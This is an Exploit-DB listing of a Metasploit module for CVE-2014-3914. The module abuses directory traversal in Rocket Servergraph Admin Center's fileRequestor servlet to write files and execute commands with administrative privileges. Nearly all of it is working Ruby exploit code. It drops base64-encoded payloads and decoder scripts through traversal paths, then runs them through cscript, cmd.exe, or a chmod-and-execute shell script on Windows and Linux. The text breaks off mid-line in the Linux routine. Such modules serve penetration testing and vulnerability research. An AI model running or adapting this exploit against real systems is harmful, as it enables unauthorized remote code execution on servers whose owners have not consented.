Exploit-DB #33807
Description: Rocket Servergraph Admin Center - fileRequestor Remote Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2014-06-18
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
      'Description' => %q{
        This module abuses several directory traversal flaws in Rocket Servergraph Admin
        Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
        allowing a remote attacker to write arbitrary files and execute commands with
        administrative privileges. This module has been tested successfully on Rocket
        ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
        12.04 64 bits.
      },
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2014-3914'],
          ['ZDI', '14-161'],
          ['ZDI', '14-162'],
          ['BID', '67779']
        ],
      'Privileged'  => true,
      'Platform'    => %w{ linux unix win },
      'Arch'        => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
      'Payload'     =>
        {
          'Space'       => 8192, # it's writing a file, so just a long enough value
          'DisableNops' => true
          #'BadChars'   => (0x80..0xff).to_a.pack("C*") # Doesn't apply
        },
      'Targets'     =>
        [
          [ 'Linux (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux (CMD Payload)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
          [ 'Windows / VB Script',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows CMD',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))

    register_options(
      [
        Opt::RPORT(8888)
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
        OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
        OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
      ], self.class)

  end

  def check
    os = get_os

    if os.nil?
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Appears
  end

  def exploit
    os = get_os

    if os == 'win' && target.name =~ /Linux/
      fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
    elsif os == 'linux' && target.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
    elsif os.nil?
      print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
    end

    if target.name =~ /Windows.*VB/
      exploit_windows_vbs
    elsif target.name =~ /Windows.*CMD/
      exploit_windows_cmd
    elsif target.name =~ /Linux.*CMD/
      exploit_linux_cmd
    elsif target.name =~ /Linux.*Native/
      exploit_linux_native
    end
  end

  def exploit_windows_vbs
    traversal = "\\.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('win')
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"

    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)

    vbs = generate_decoder_vbs({
      :temp_dir => "C:#{temp}",
      :encoded_file_name => encoded_file_name,
      :exe_file_name => exe_file_name
    })
    print_status("#{peer} - Dropping the VBS decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)

    register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
    register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
    register_files_for_cleanup("C:#{temp}#{exe_file_name}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
  end


  def exploit_windows_cmd
    traversal = "\\.." * traversal_depth
    execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
  end

  def exploit_linux_native
    traversal = "/.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('linux')
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
    elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"

    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)

    decoder = <<-SH
#!/bin/sh

base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
chmod 777 #{temp}#{elf_file_name}
#{temp}#{elf_file_name}
SH

    print_status("#{peer} - Dropping the decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)

    register_files_for_cleanup("#{temp}#{decoder_file_name}")
    register_files_for_cleanup("